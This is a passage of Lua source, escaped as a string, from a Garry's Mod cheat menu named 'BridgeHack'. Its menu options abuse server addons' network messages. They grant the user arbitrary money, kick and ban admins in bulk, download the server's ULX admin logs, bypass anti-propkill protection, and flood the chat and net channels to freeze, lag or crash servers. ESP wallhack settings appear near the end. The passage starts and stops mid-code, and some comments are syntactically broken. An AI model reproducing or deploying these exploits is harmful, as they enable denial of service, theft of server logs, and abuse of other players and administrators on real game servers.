=BridgeHack.RandomVar,Num=accnumber,Amount=-moneytogive})\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09local RenderDistance = vgui.Create( \"DNumSlider\", DermaPanel )\x0a\x0a\x09\x09RenderDistance:SetPos( 10, 50)\x0a\x0a\x09\x09RenderDistance:SetSize( 275, 25 )\x0a\x0a\x09\x09RenderDistance:SetText( \"Money to give\" )\x0a\x0a\x09\x09RenderDistance:SetMin( 0 )\x0a\x0a\x09\x09RenderDistance:SetMax( 500000 )\x0a\x0a\x09\x09RenderDistance:SetDecimals( 0 ) \x0a\x0a\x09\x09RenderDistance:SetConVar( \"bh_ratm_money2give\" )\x0a\x0a\x09end):SetImage(\"icon16/coins_add.png\")\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] TOW TRUCK DRIVER\",function() \x0a\x0a\x09\x09chatP(\"Giving money..\")\x0a\x0a\x09\x09for k,v in pairs(ents.GetAll()) do \x0a\x0a\x09\x09\x09status(\"Attempting to make fine\") \x0a\x0a\x09\x09\x09net.Start(\"TOW_SubmitWarning\")\x0a\x0a\x09\x09\x09\x09net.WriteString(LocalPlayer():SteamID())\x0a\x0a\x09\x09\x09\x09net.WriteDouble(-100000000000)\x0a\x0a\x09\x09\x09\x09net.WriteEntity(v)\x0a\x0a\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09net.Start(\"TOW_PayTheFine\")\x0a\x0a\x09\x09\x09\x09\x09net.WriteEntity(v)\x0a\x0a\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0alocal DARKRPBASEDSUB = menu:AddSubMenu( \"DarkRP Minging/Scripts\" )\x0a\x0a\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"[ON] Dlog Lag\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_dlogs_lag\")\x0a\x0a\x09end):SetImage( \"icon16/table_error.png\" )\x0a\x0a\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"[OFF] Dlog Lag\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_dlogs_lag_off\")\x0a\x0a\x09end):SetImage( \"icon16/table_add.png\" )\x0a\x0a\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"HitMenu Spam\",function()\x0a\x0a\x09\x09local ply = LocalPlayer()\x0a\x0a\x0a\x0a\x09\x09local frame = vgui.Create( \"DFrame\" )\x0a\x0a\x09\x09\x09frame:Center()\x0a\x0a\x09\x09\x09frame:SetSize( 200,150 )\x0a\x0a\x09\x09\x09frame:SetTitle( \"\" )\x0a\x0a\x09\x09\x09frame:MakePopup()\x0a\x0a\x09\x09\x09frame:ShowCloseButton( false )\x0a\x0a\x09\x09function frame:Paint( w, h )\x0a\x0a\x09\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )\x0a\x0a\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )\x0a\x0a\x09\x09\x09draw.SimpleText( \"BridgeHack Hitspam\", \"Default\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local playerMenu = vgui.Create( \"DComboBox\", frame )\x0a\x0a\x09\x09\x09playerMenu:SetPos( 10,40 )\x0a\x0a\x09\x09\x09\x09playerMenu:SetSize( 120,20 )\x0a\x0a\x09\x09\x09playerMenu:SetText( \"Select a Player\")\x0a\x0a\x09\x09for k, v in pairs( player.GetAll() ) do\x0a\x0a\x09\x09\x09playerMenu:AddChoice( tostring( v:Name() ) )\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local SpamHit = vgui.Create(\"DButton\", frame )\x0a\x0a\x09\x09\x09SpamHit:SetPos( 50,70 )\x0a\x0a\x09\x09\x09SpamHit:SetSize( 100,20 )\x0a\x0a\x09\x09\x09SpamHit:SetText( \"Place Dem Hits\" )\x0a\x0a\x09\x09\x09SpamHit:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09\x09SpamHit.DoClick = function()\x0a\x0a\x09\x09local v = playerMenu:GetText()\x0a\x0a\x09\x09\x09for i=0, 4 do\x0a\x0a\x09\x09\x09ply:ConCommand('addhit \"'..v..'\" 500')\x0a\x0a\x09\x09\x09end \x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09local CrashButton = vgui.Create(\"DButton\", frame )\x0a\x0a\x09\x09\x09CrashButton:SetPos( 50,110 )\x0a\x0a\x09\x09\x09CrashButton:SetSize( 100,20 )\x0a\x0a\x09\x09\x09CrashButton:SetText( \"Crash Server\" )\x0a\x0a\x09\x09\x09CrashButton:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09\x09CrashButton.DoClick = function()\x0a\x0a\x09\x09\x09\x09chatP(\"Hitmanmenu got rekt!\")\x0a\x0a\x09\x09\x09\x09consoleP(\"Hitmanmenu got rekt\")\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09for i=0, 10 do\x0a\x0a\x09\x09\x09\x09ply:ConCommand(\"bh_hitmancrash\")\x0a\x0a\x09\x09\x09\x09end \x0a\x0a\x09\x09end\x09\x09\x09\x0a\x0a\x0a\x0a\x09\x09local Button = vgui.Create(\"DButton\", frame)\x0a\x0a\x09\x09Button:SetPos( 170, 0 )\x0a\x0a\x09\x09Button:SetSize( 30, 20 )\x0a\x0a\x09\x09Button:SetText( \"Close\" )\x0a\x0a\x09\x09Button:SetTextColor( Color( 255, 255, 255) )\x0a\x0a\x09\x09function Button:Paint( w, h )\x0a\x0a\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color(0,0,0,200) )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09Button.DoClick = function()\x0a\x0a\x09\x09frame:Close()\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local label = vgui.Create( \"DLabel\", frame )\x0a\x0a\x09\x09label:SetPos( 10,20 )\x0a\x0a\x09\x09label:SetSize( 120,20 )\x0a\x0a\x09\x09label:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09label:SetText( \"Select Player:\" )\x0a\x0a\x09end):SetImage(\"icon16/accept.png\")\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"TP Spawn\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_tp_spawn\")\x0a\x0a\x09end):SetImage( \"icon16/cake.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"[ON] Advert Spam\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_advert 1\")\x0a\x0a\x09end):SetImage( \"icon16/bell_add.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"[OFF] Advert Spam\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_advert 0\")\x0a\x0a\x09end):SetImage( \"icon16/bell_delete.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"Remove looking at prop\",function()\x0a\x0a\x09\x09timer.Simple(0.1,function()\x0a\x0a\x09\x09\x09chatP(\"(This can be binded to: bh_removelookingat)\")\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_removelookingat\")\x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage(\"icon16/map_delete.png\")\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[X] KUN ZIPTIES UNTIE SELF \",function() \x0a\x0a\x09\x09ply:ConCommand(\"bh_kun_ziptie_untie\")\x0a\x0a\x09end):SetImage( \"icon16/cut.png\" ) \x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"Open Armory\", function() \x0a\x0a\x09\x09chatP(\"Opening armory..\") \x0a\x0a\x09\x09ARMORY_WeaponMenu() \x0a\x0a\x09end):SetImage( \"icon16/bomb.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[ON/OFF] Spam Split Shipment / Make Shipemnt\", function()\x0a\x0a\x09\x09ply:ConCommand(\"___darkrpshipments\")\x0a\x0a\x09end):SetImage( \"icon16/cut_red.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[ON] Make everyone wanted (Cop only)\", function()\x0a\x0a\x09\x09timer.Create(\"lollol3294385\", 0.2, 0, function( )\x0a\x0a\x09\x09\x09for k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09\x09\x09local ligger_type = math.random(1,13)\x0a\x0a\x09\x09\x09\x09local ligger_type1 = math.random(1,13)\x0a\x0a\x09\x09\x09\x09status(\"Attempting Want on: \" .. v:Nick() .. \" - \" .. v:SteamID())\x0a\x0a\x09\x09\x09\x09if ligger_type1 == ligger_type then\x0a\x0a\x09\x09\x09\x09\x09if last_ply == v:Nick() then\x0a\x0a\x09\x09\x09\x09\x09\x09local ligger_type = math.random(1,13)\x0a\x0a\x09\x09\x09\x09\x09\x09local ligger_type1 = math.random(1,13)\x0a\x0a\x09\x09\x09\x09\x09else\x0a\x0a\x09\x09\x09\x09\x09\x09ply:ConCommand(\"darkrp wanted \" .. v:Nick() .. \" \" .. math.random(1,999))\x0a\x0a\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09local last_ply = v:Nick()\x0a\x0a\x09\x09\x09\x09\x09local ligger_type = math.random(1,13)\x0a\x0a\x09\x09\x09\x09\x09local ligger_type1 = math.random(1,13)\x0a\x0a\x09\x09\x09\x09\x09status(\"Force Wanting: \" .. v:Nick())\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage( \"icon16/cross.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[OFF] Make everyone wanted (Cop only)\", function()\x0a\x0a\x09\x09timer.Destroy(\"lollol3294385\")\x0a\x0a\x09\x09status(\"Stopped Want All Police\")\x0a\x0a\x09end):SetImage( \"icon16/tick.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[ON] DARKRP LAG\", function()\x0a\x0a\x09\x09ply:ConCommand(\"__bh_lagdarkrpdashit\")\x0a\x0a\x09end):SetImage( \"icon16/accept.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[OFF] DARKRP LAG\", function()\x0a\x0a\x09\x09ply:ConCommand(\"__bh_stopplag\")\x0a\x0a\x09end):SetImage( \"icon16/cancel.png\" )\x0a\x0a\x09\x0a\x0a\x09local SpoofingMenu = menu:AddSubMenu(\"Spoofing Scripts\")\x0a\x0a\x09SpoofingMenu:AddOption( \"Spoof Player colours and physgun colours\", function()\x0a\x0a\x09\x09ply:ConCommand(\"cl_weaponcolor 0.\" .. math.random(1,255) .. \" 0.\" .. math.random(1,255) .. \" 0.\" .. math.random(1,255))\x0a\x0a\x09\x09ply:ConCommand(\"cl_playercolor 0.\" .. math.random(1,255) .. \" 0.\" .. math.random(1,255) .. \" 0.\" .. math.random(1,255))\x0a\x0a\x09\x09status(\"Spoofed Physgun And Player Color.\")\x0a\x0a\x09end):SetImage( \"icon16/color_wheel.png\" )\x0a\x0a\x09\x0a\x0a\x09local exploitshacks = menu:AddSubMenu(\"Exploits\")\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \"Bypass APAnti (Anti propkill)\",function() \x0a\x0a\x09\x09chatP(\"Bypassing Apanti..\")\x0a\x0a\x09\x09net.Receive(\"sMsgStandard\", function()\x0a\x0a\x09\x09\x09print(\"#Bypassed by HaxRUs\")\x0a\x0a\x09\x09end)\x0a\x0a\x09\x0a\x0a\x09\x09net.Receive(\"sNotifyHit\", function()\x0a\x0a\x09\x09\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09\x09net.Receive(\"sMsgAdmins\", function()\x0a\x0a\x09\x09\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09\x09net.Receive(\"sAlertNotice\", function()\x0a\x0a\x09\x09\x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage( \"icon16/link_break.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption(\"[NLR] [ON] Freeze Spawning\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_nlr_freeze 1\")\x0a\x0a\x09end):SetImage( \"icon16/book_error.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption(\"[NLR] [OFF] Freeze Spawning\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_nlr_freeze 0\")\x0a\x0a\x09end):SetImage( \"icon16/book.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \"Steal ULX Logs ( will save to download/data/ulx_logs/\" .. os.date(\"%m-%d-%y\") .. \".txt )\", function() \x0a\x0a\x09\x09status(\"Downloading ULX LOGS\")\x0a\x0a\x09\x09if file.Exists(\"download/data/ulx_logs/\" .. os.date(\"%m-%d-%y\") .. \".txt\", \"GAME\") == \"false\" then\x0a\x0a\x09\x09\x09consoleP(\"FILE EXISTS. REMOVE THE FILE BEFORE CONTINUEING!\")\x0a\x0a\x09\x09else\x0a\x0a\x09\x09\x09RequestFile(os.date( \"data/\" .. \"ulx_logs\" .. \"/\" .. \"%m-%d-%y\" .. \".txt\" ))\x0a\x0a\x09\x09\x09chatP(\"Downloading ulx logs. OPENING \" .. os.date(\"%m-%d-%y\") .. \" IN 15 SECONDS....\")\x0a\x0a\x09\x09\x09timer.Simple( 15, function()\x0a\x0a\x09\x09\x09\x09chatP(\"Opened data/ulx_logs/\" .. os.date(\"%m-%d-%y\") .. \".txt\")\x0a\x0a\x09\x09\x09\x09consoleP(\"**********************\")\x0a\x0a\x09\x09\x09\x09consoleP(\"** SUCCESS ULX DUMP **\")\x0a\x0a\x09\x09\x09\x09consoleP(\"**********************\")\x0a\x0a\x09\x09\x09end)\x0a\x0a\x09\x09end\x0a\x0a\x09end ):SetImage( \"icon16/lock_break.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption(\"[AE] KICK ADMINS+\",function()\x0a\x0a\x09\x09chatP(\"Kicking... (Will only work on admins+)\")\x0a\x0a\x09\x09timer.Create( \"aekickdaskids\", 3, 0, function()\x0a\x0a\x09\x09\x09for k,v in pairs(player.GetAll()) do \x0a\x0a\x09\x09\x09\x09if( v:GetUserGroup() != \"user\" ) then\x0a\x0a\x09\x09\x09\x09\x09if( v:GetUserGroup() != \"vip\" ) then\x0a\x0a\x09\x09\x09\x09\x09\x09for i=0, 700 do \x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.Start('plyWarning') \x0a\x0a\x09\x09\x09\x09\x09\x09\x09\x09net.WriteEntity(v) \x0a\x0a\x09\x09\x09\x09\x09\x09\x09\x09net.WriteString('You have to select a player before doing a action.') \x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x09\x09consoleP('Attempting to kick '.. v:Nick().. \"!\")\x0a\x0a\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09end \x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage(\"icon16/wand.png\")\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption(\"DO NO CLICK ON HERE\",function()\x0a\x0a\x09\x09chatP(\"Banning...\")\x0a\x0a\x09\x09timer.Create(BridgeHack.RandomVar..\"ulxextendedban\",1,0,function()\x0a\x0a\x09\x09\x09for k,v in pairs(player.GetAll()) do \x0a\x0a\x09\x09\x09\x09if v:GetUserGroup() != \"user\" then -- Custom first ranks, youre fucked bro\x0a\x0a\x09\x09\x09\x09\x09if v != LocalPlayer() then \x0a\x0a\x09\x09\x09\x09\x09\x09status(\"Banning.. \"..v:Nick())\x0a\x0a\x09\x09\x09\x09\x09\x09net.Start(\"banleaver\")\x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.WriteString(v:SteamID()..\"{sep}\"..\"HaxRUs Rekt You\")\x0a\x0a\x09\x09\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage(\"icon16/wand.png\")\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \" [ON] ATLAS CHAT: FREEZE EVERYBODY\",function() \x0a\x0a\x09\x09chatP(\"Freezing everybody.. (Except you)\")\x0a\x0a\x09\x09timer.Create(\"Imakelovetou\"..BridgeHack.RandomVar,\"3\",0, function()\x0a\x0a\x09\x09\x09local trash = \"\";\x0a\x0a\x09\x09\x09for i=0, 15000 do\x0a\x0a\x09\x09\x09\x09trash = trash .. string.char(math.random(32, 126));\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09\x09\x0a\x0a\x09\x09\x09status(\"Freeze wave incoming\")\x0a\x0a\x09\x09\x09timer.Simple(1,function()\x0a\x0a\x09\x09\x09\x09status(\"Freeze wave done\")\x0a\x0a\x09\x09\x09end)\x0a\x0a\x09\x09\x09\x0a\x0a\x09\x09\x09for i=0,3 do \x0a\x0a\x09\x09\x09\x09net.Start(\"atlaschat.chat\")\x0a\x0a\x09\x09\x09\x09\x09net.WriteString(\"/ \".. trash)\x0a\x0a\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end) \x0a\x0a\x09end):SetImage( \"icon16/lock.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \" [OFF] ATLAS CHAT: FREEZE EVERYBODY\",function() \x0a\x0a\x09\x09chatP(\"Stopping the freeze..\")\x0a\x0a\x09\x09timer.Destroy(\"Imakelovetou\"..BridgeHack.RandomVar,\"3\",0, function()\x0a\x0a\x09\x09\x0a\x0a\x09\x09end) \x0a\x0a\x09end):SetImage( \"icon16/lock_open.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \"[ON] ESSENTIALS ULX SPAM FRIENDS TABLE\", function() \x0a\x0a\x09\x09timer.Create(\"spamdafukFRIENDSULX\", 2, 0, function()\x0a\x0a\x09\x09\x09local friends = {}\x0a\x0a\x09\x09\x09table.insert( friends, math.random(1,9999) )\x0a\x0a\x09\x09\x09for i = 1,6000 do\x0a\x0a\x09\x09\x09\x09net.Start(\"friendlist\")\x0a\x0a\x09\x09\x09\x09net.WriteTable(friends)\x0a\x0a\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09\x09status(\"PROGRESS [10000/10000]\")\x0a\x0a\x09\x09end)\x0a\x0a\x09end ):SetImage( \"icon16/script_error.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \"[OFF] ESSENTIALS ULX SPAM FRIENDS TABLE\", function()\x0a\x0a\x09\x09timer.Destroy(\"spamdafukFRIENDSULX\")\x0a\x0a\x09\x09status(\"Stopped ULX SPAM FRIENDS\")\x0a\x0a\x09end):SetImage( \"icon16/script.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \"Ulx Extended TTT Weapon Spawn\", function()\x0a\x0a\x09\x09GiveMenu()\x0a\x0a\x09end):SetImage( \"icon16/book_key.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \" [ON] MX RADIO KICK ADMINS\",function()\x0a\x0a\x09\x09chatP(\"Kicking admins, Including anyone who isnt a user\")\x0a\x0a\x09\x09ply:ConCommand(\"bh_mx_kickadmins\")\x0a\x0a\x09\x09timer.Create( \"Kickthenoobs\"..BridgeHack.RandomVar, 3, 0, function()\x0a\x0a\x09\x09\x09for k,v in ipairs(player.GetAll()) do \x0a\x0a\x09\x09\x09\x09if( v:GetUserGroup() != \"user\" ) then \x0a\x0a\x09\x09\x09\x09\x09if v:Nick() != (ply:Nick()) then\x0a\x0a\x09\x09\x09\x09\x09\x09for i=0, 700 do \x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.Start( \"GetCar\" ) \x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.WriteEntity(v) \x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.WriteEntity(v)\x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.SendToServer() \x0a\x0a\x09\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x09\x09chatP('Attempting to kick '.. v:Nick())\x0a\x0a\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09end \x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage( \"icon16/wand.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \" [OFF] MX RADIO KICK ADMINS\",function() \x0a\x0a\x09\x09chatP(\"Stopping the kicks\")\x0a\x0a\x09\x09timer.Destroy( \"Kickthenoobs\"..BridgeHack.RandomVar, 3, 0, function() end)\x0a\x0a\x09end):SetImage( \"icon16/wand.png\" )\x0a\x0a\x09\x0a\x0a\x09local Misc = menu:AddSubMenu(\" Misc \")\x0a\x0a\x09\x0a\x0a\x09Misc:AddOption( \"Hackable Server List\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_serverlist\")\x0a\x0a\x09end):SetImage( \"icon16/book.png\" )\x0a\x0a\x09\x0a\x0a\x09Misc:AddOption( \"Changelog\",function()\x0a\x0a\x09\x09ChangeLogMenu()\x0a\x0a\x09end):SetImage( \"icon16/book.png\" )\x0a\x0a\x09\x0a\x0a\x09Misc:AddOption( \"List Rank - Playername - Money\",function() \x0a\x0a\x09\x09chatP( \"Check Console\\n\" )\x0a\x0a\x09\x09consoleP(\"(NAME)-(STEAMID)-(CASH)\\n\\n\\n\")\x0a\x0a\x09\x09for k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09\x09local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0\x0a\x0a\x09\x09\x09if v:IsAdmin() then\x0a\x0a\x09\x09\x09\x09consoleP(\"(ADMIN!) - (\" .. v:Nick() .. \") - (\" .. v:SteamID() .. \") - ($\" .. playermoney .. \")\")\x0a\x0a\x09\x09\x09else\x0a\x0a\x09\x09\x09\x09consoleP(\"(USER) - (\" .. v:Nick() .. \") - (\" .. v:SteamID() .. \") - ($\" .. playermoney .. \")\")\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end\x0a\x0a\x09end):SetImage( \"icon16/text_align_center.png\" )\x0a\x0a\x09\x0a\x0a\x09Misc:AddOption( \"Check exploits\", function()\x0a\x0a\x09ply:ConCommand(\"bh_check\")\x0a\x0aend ):SetImage( \"icon16/book_addresses.png\" )\x0a\x0a\x09\x0a\x0a\x09Misc:AddOption( \"ClientSide Lua Viewer\",function()\x0a\x0a\x09\x09chatP(\"Opening clientside lua viewer...\")\x0a\x0a\x09\x09ply:ConCommand(\"bh_lua\")\x0a\x0a\x09end):SetImage( \"icon16/application_osx_terminal.png\" )\x0a\x0a\x09\x0a\x0a\x09if ply:SteamID() == \"STEAM_0:1:45153092\" or ply:SteamID() == \"STEAM_0:1:61639885\" then \x0a\x0a\x09\x09local DebugMenu = menu:AddSubMenu(\" Debug Settings\")\x0a\x0a\x09\x09DebugMenu:AddOption(\" Reset Default Config.\", function()\x0a\x0a\x09\x09\x09Debug(\"Resetting Cheat Variables...\")\x0a\x0a\x09\x09\x09ResetCvar(\"bh_menu_effects\", 1)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_firstload_correct\", 0)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_chat_status\",0)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_cheats_enabled_on_start\", 0)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_cheats_svlua_enabled_on_start\", 0)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_showhud\", 1)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_notify\", 1)\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09\x09DebugMenu:AddOption(\" Debug\",function()\x0a\x0a\x09\x09\x09for k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09\x09\x09chatP(LocalPlayer():GetPos():Distance(v:GetPos()) .. \" | \".. v:Nick())\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end)\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09menu:AddSpacer()\x0a\x0a\x09\x09\x0a\x0a\x09menu:AddOption( \"Config Menu\", function() \x0a\x0a\x09\x09local DermaPanel = vgui.Create( \"DFrame\" )\x0a\x0a\x09\x09DermaPanel:SetPos( 100, 100 )\x0a\x0a\x09\x09DermaPanel:SetSize( 300, 400 )\x0a\x0a\x09\x09DermaPanel:SetTitle( \" \" )\x0a\x0a\x09\x09DermaPanel:SetVisible( true )\x0a\x0a\x09\x09DermaPanel:SetDraggable( true )\x0a\x0a\x09\x09DermaPanel:ShowCloseButton( false )\x0a\x0a\x09\x09function DermaPanel:Paint( w, h )\x0a\x0a\x09\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 220) )\x0a\x0a\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 22, Color( 240, 85, 0, 220), true, true, false, false )\x0a\x0a\x09\x09\x09draw.SimpleText( \"BridgeHack Configuration Menu\", \"PopupFont\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local Button = vgui.Create(\"DButton\", DermaPanel)\x0a\x0a\x09\x09Button:SetPos( 250, 2 )\x0a\x0a\x09\x09Button:SetSize( 45, 19 )\x0a\x0a\x09\x09Button:SetText( \"\" )\x0a\x0a\x09\x09Button:SetTextColor( Color( 255, 255, 255) )\x0a\x0a\x09\x09function Button:Paint( w, h )\x0a\x0a\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )\x0a\x0a\x09\x09\x09draw.SimpleText( \"Close\", \"HeaderFont\", 2, -2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09Button.DoClick = function()\x0a\x0a\x09\x09\x09DermaPanel:Close()\x0a\x0a\x09\x09end\x09\x09\x09\x0a\x0a\x0a\x0a\x09\x09DermaPanel:MakePopup()\x0a\x0a\x0a\x0a\x09\x09local ESPMixer = vgui.Create( \"DColorMixer\", DermaPanel )\x0a\x0a\x09\x09ESPMixer:SetPos( 10,170)\x0a\x0a\x09\x09ESPMixer:SetSize(100,100)--Make Mixer fill place of Frame\x0a\x0a\x09\x09ESPMixer:SetPalette( false ) --Show/hide the paletteDEF:true\x0a\x0a\x09\x09ESPMixer:SetAlphaBar( true ) --Show/hide the alpha barDEF:true\x0a\x0a\x09\x09ESPMixer:SetWangs( false ) --Show/hide the R G B A indicators DEF:true\x0a\x0a\x09\x09ESPMixer:SetColor( Color(GetConVarNumber(\"bh_esp_infocolor_r\"),GetConVarNumber(\"bh_esp_infocolor_g\"),GetConVarNumber(\"bh_esp_infocolor_b\")) )--Set the default color\x0a\x0a\x09\x09daespvector = ESPMixer:GetColor()\x0a\x0a\x0a\x0a\x09\x09local ESPMixButton = vgui.Create( \"DButton\",DermaPanel )\x0a\x0a\x09\x09ESPMixButton:SetPos( 5, 265 )\x0a\x0a\x09\x09ESPMixButton:SetText( \"Set ESP Color\" )\x0a\x0a\x09\x09ESPMixButton:SetSize( 120, 15 )\x0a\x0a\x09\x09ESPMixButton.DoClick = function()\x0a\x0a\x09\x09\x09print(daespvector)\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_esp_infocolor_r \"..daespr)\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_esp_infocolor_g \"..daespg)\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_esp_infocolor_b \"..daespb)\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local EspBoxes = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09EspBoxes:SetPos( 10, 25 )/ Set the position\x0a\x0a\x09\x09EspBoxes:SetValue( GetConVarNumber(\"bh_esp_box\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09EspBoxes:SetText(\"ESP Boxes\")\x0a\x0a\x09\x09EspBoxes:SetConVar( \"bh_esp_box\" )\x0a\x0a\x09\x09EspBoxes:SizeToContents()\x0a\x0a\x0a\x0a\x09\x09local ShowHP = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09ShowHP:SetPos( 10, 45 )/ Set the position\x0a\x0a\x09\x09ShowHP:SetValue( GetConVarNumber(\"bh_esp_hp\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09ShowHP:SetText(\"Show HP On ESP\")\x0a\x0a\x09\x09ShowHP:SetConVar( \"bh_esp_hp\" )\x0a\x0a\x09\x09ShowHP:SizeToContents()\x0a\x0a\x0a\x0a\x09\x09local ShowRank = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09ShowRank:SetPos( 10, 65 )/ Set the position\x0a\x0a\x09\x09ShowRank:SetValue( GetConVarNumber(\"bh_esp_rank\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09ShowRank:SetText(\"Show Rank On 